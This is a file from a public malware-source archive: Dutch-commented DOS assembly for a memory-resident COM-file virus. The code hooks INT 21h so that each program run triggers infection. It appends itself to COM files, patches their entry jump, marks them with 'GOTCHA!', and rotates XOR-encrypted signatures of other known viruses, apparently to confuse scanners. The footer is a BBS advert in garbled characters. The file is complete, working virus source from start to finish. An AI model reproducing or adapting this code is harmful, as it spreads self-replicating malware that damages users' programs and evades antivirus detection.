mirror of
https://github.com/vxunderground/MalwareSourceCode
synced 2024-06-26 00:48:29 +00:00
398 lines
12 KiB
NASM
398 lines
12 KiB
NASM
;****************************************************************************
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;* stripped COM-versie
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;* met signature's
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;*
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;****************************************************************************
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cseg segment
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assume cs:cseg,ds:cseg,es:nothing
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org 100h
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SIGNLEN equ signend - signature
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FILELEN equ eind - begin
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RESPAR equ (FILELEN/16) + 17
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BUFLEN equ 08h
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VERSION equ 4
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.RADIX 16
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;****************************************************************************
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;* Opstart programma
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;****************************************************************************
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begin: xor bx,bx
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mov cl,07h
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crloop: call crypt
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loop crloop
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call install
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int 20
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;****************************************************************************
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;* Data
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;****************************************************************************
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buffer db BUFLEN dup (?)
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oi21 dw ?,?
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oldlen dw ?
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handle dw ?
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sign db 0
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;****************************************************************************
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;* Interupt handler 21
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;****************************************************************************
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ni21: pushf
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cmp ax,4B00h
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jne ni_verder
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push es
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push ds
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push ax
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push bx
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push cx
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push dx
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call attach
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mov cl,[sign]
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call crypt
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inc cl
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and cl,07h
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mov [sign],cl
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call crypt
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pop dx
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pop cx
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pop bx
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pop ax
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pop ds
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pop es
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exit: popf
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jmp dword ptr cs:[oi21] ;naar oude int-handler
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ni_verder: cmp ax,0DADAh
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jne exit
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mov ax,0A500h+VERSION
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popf
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iret
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;****************************************************************************
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;* plakt programma aan file (ASCIIZ DS:DX)
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;****************************************************************************
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attach: cld
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mov ax,3D02h ;open de file
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int 21
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jc finnish
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push cs
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pop ds
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mov [handle],ax ;bewaar file-handle
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call eindptr ;bepaal lengte
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jc finnish
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mov [oldlen],ax
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sub ax,SIGNLEN ;pointer naar eind - SIGNLEN
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sbb dx,0
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mov cx,dx
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mov dx,ax
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mov al,00h
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call ptrmov
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jc finnish
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mov cx,SIGNLEN ;lees de laatse bytes
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mov dx,offset buffer
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call flread
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jc finnish
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verder3: push cs ;vergelijk signature met buffer
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pop es
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mov di,offset buffer
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mov si,offset signature
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mov cx,SIGNLEN
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rep cmpsb
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or cx,cx
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jz finnish
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call beginptr ;lees begin van file
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mov cx,BUFLEN
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mov dx,offset buffer
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call flread
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jc finnish
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cmp word ptr [buffer],5A4Dh
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jz finnish
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call writeprog ;schrijf programma naar file
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jc finnish
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mov ax,[oldlen] ;bereken call-adres
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add ax,offset entry
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sub ax,0103
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mov byte ptr [buffer],0E9h
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mov word ptr [buffer+1],ax
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call beginptr ;pas begin van file aan
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mov cx,BUFLEN
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mov dx,offset buffer
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call flwrite
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jc finnish
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finnish: mov bx,[handle] ;sluit de file
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mov ah,3Eh
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int 21
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ret
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;****************************************************************************
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;* Crypt een signature
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;****************************************************************************
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crypt: push cx
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mov al,14h
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mul cl
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add ax,offset virsig
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mov si,ax
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mov di,ax
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push cs
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push cs
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pop ds
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pop es
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mov cx,0Ah
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cryploop: lodsw
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xor ax,0FFFFh
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stosw
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loop cryploop
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pop cx
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ret
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;****************************************************************************
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;* Schrijf programma naar file
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;****************************************************************************
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writeprog: call eindptr
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mov cx,FILELEN
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mov dx,offset begin
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call flwrite
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ret
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;****************************************************************************
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;* Subroutines voor file-pointer
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;****************************************************************************
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beginptr: mov al,00h ;naar begin van de file
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xor cx,cx
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xor dx,dx
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jmp ptrmov
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eindptr: mov al,02h ;naar eind van de file
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xor cx,cx
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xor dx,dx
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; jmp ptrmov
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ptrmov: mov ah,42h
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mov bx,[handle]
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int 21
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ret
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;****************************************************************************
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;* Subroutines voor lezen/schrijven
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;****************************************************************************
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flwrite: push cs
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pop ds
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mov ah,40h
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mov bx,[handle]
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int 21
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ret
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flread: push cs
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pop ds
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mov ah,3Fh
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mov bx,[handle]
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int 21
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ret
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;****************************************************************************
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;* Activering vanuit file
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;****************************************************************************
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entry: call entry2
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entry2: pop bx
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sub bx,offset entry2 ;CS:BX is begin programma - 100
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cld
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mov ax,bx ;copieer oude begin terug
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add ax,offset buffer
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mov si,ax
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mov di,0100
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mov cx,BUFLEN
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rep movsb
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mov ax,0100h
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push ax
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entcall: mov ax,0DADAh ;kijk of al geinstalleerd
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int 21h
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cmp ah,0A5h
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je entstop
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call install ;installeer het programma
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entstop: ret
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;****************************************************************************
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;* Installatie in het geheugen
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;****************************************************************************
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install: push ds
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push es
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xor ax,ax ;haal oude vector
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mov es,ax
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mov cx,word ptr es:0084h
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mov dx,word ptr es:0086h
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mov [bx+offset oi21],cx
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mov [bx+offset oi21+2],dx
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mov ax,ds ;pas geheugen-grootte aan
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dec ax
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mov es,ax
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cmp byte ptr es:[0000h],5Ah
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jnz cancel
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mov ax,es:[0003h]
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sub ax,RESPAR
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jb cancel
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mov es:[0003h],ax
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sub es:[0012h], word ptr RESPAR
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mov es,es:[0012h] ;copieer programma naar top
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mov ax,bx
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add ax,0100
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mov si,ax
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mov di,0100h
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mov cx,FILELEN
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rep movsb
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mov dx,offset ni21 ;zet nieuwe vector
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push es
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pop ds
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mov ax,2521h
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int 21h
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cancel: pop es
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pop ds
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ret
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;****************************************************************************
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;* Tekst en Signature
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;****************************************************************************
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virsig:
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;SYSLOCK Virus
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db 0D1h, 0E9h, 8Ah, 0E1h
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db 8Ah, 0C1h, 33h, 06h
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db 14h, 00h, 31h, 04h
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db 46h, 46h, 0E2h, 0F2h
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db 5Eh, 59h, 58h, 0C3h
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;Sylvia Virus
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db 8Dh, 36h, 03h, 01h
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db 33h, 0C9h, 33h, 0C0h
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db 0ACh, 3Ch, 1Ah, 74h
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db 04h, 90h, 90h, 90h
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db 90h, 90h, 90h, 90h
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;DATACRIME IIb Virus
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db 2Eh, 8Ah, 07h, 32h
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db 0C2h, 0D0h, 0CAh, 2Eh
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db 88h, 07h, 43h, 0E2h
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db 0F3h, 90h, 90h, 90h
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db 90h, 90h, 90h, 90h
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;Yankee-Go-Home Virus (Enigma)
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db 0D8h, 0Eh, 1Fh, 0BEh
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db 37h, 08h, 81h, 0EEh
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db 03h, 01h, 03h, 0F3h
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db 89h, 04h, 0BEh, 39h
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db 08h, 81h, 0EEh, 03h
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;Slowdown Virus
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db 0DEh, 90h, 90h, 81h
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db 0C6h, 1Bh, 00h, 0B9h
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db 90h, 06h, 2Eh, 80h
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db 34h, 90h, 90h, 90h
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db 90h, 90h, 90h, 90h
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;Scotts Valley Virus
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db 5Eh, 8Bh, 0DEh, 90h
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db 90h, 81h, 0C6h, 32h
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db 00h, 0B9h, 12h, 08h
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db 2Eh, 90h, 90h, 90h
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db 90h, 90h, 90h, 90h
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;Tiny-2A related Virus
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db 0A5h, 8Eh, 0C1h, 0A6h
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db 74h, 12h, 4Eh, 4Fh
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db 0F3h, 0A5h, 8Eh, 0C1h
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db 93h, 91h, 91h, 26h
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db 87h, 85h, 0E0h, 0FEh
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;DATACRIME 1280 Virus
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db 8Bh, 36h, 01h, 01h
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db 83h, 0EEh, 03h, 8Bh
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db 0C6h, 3Dh, 00h, 00h
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db 75h, 03h, 0E9h, 02h
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db 01h, 90h, 90h, 90h
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;;July13 Virus
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; db 0A0h, 12h, 00h, 34h
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; db 90h, 0BEh, 12h, 00h
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; db 0B9h, 0B1h, 04h, 2Eh
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; db 30h, 04h, 46h, 0E2h
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; db 0FAh, 90h, 90h, 90h
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;;XA1 Virus (Tannenbaum)
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;virsig: db 0FAh, 8Bh, 0ECh, 58h
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; db 32h, 0C0h, 89h, 46h
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; db 02h, 81h, 46h, 00h
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; db 28h, 00h, 90h, 90h
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; db 90h, 90h, 90h, 90h
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;;Twelve Tricks Trojan Dropper
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; db 0BEh, 64h, 02h, 31h
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; db 94h, 42h, 01h, 0D1h
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; db 0C2h, 4Eh, 79h, 0F7h
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; db 90h, 90h, 90h, 90h
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; db 90h, 90h, 90h, 90h
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signature: db 'GOTCHA!',0
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signend:
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eind:
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cseg ends
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end begin
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; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
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; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>> and Remember Don't Forget to Call <<3C><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
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; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>> ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? <<3C><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
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; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
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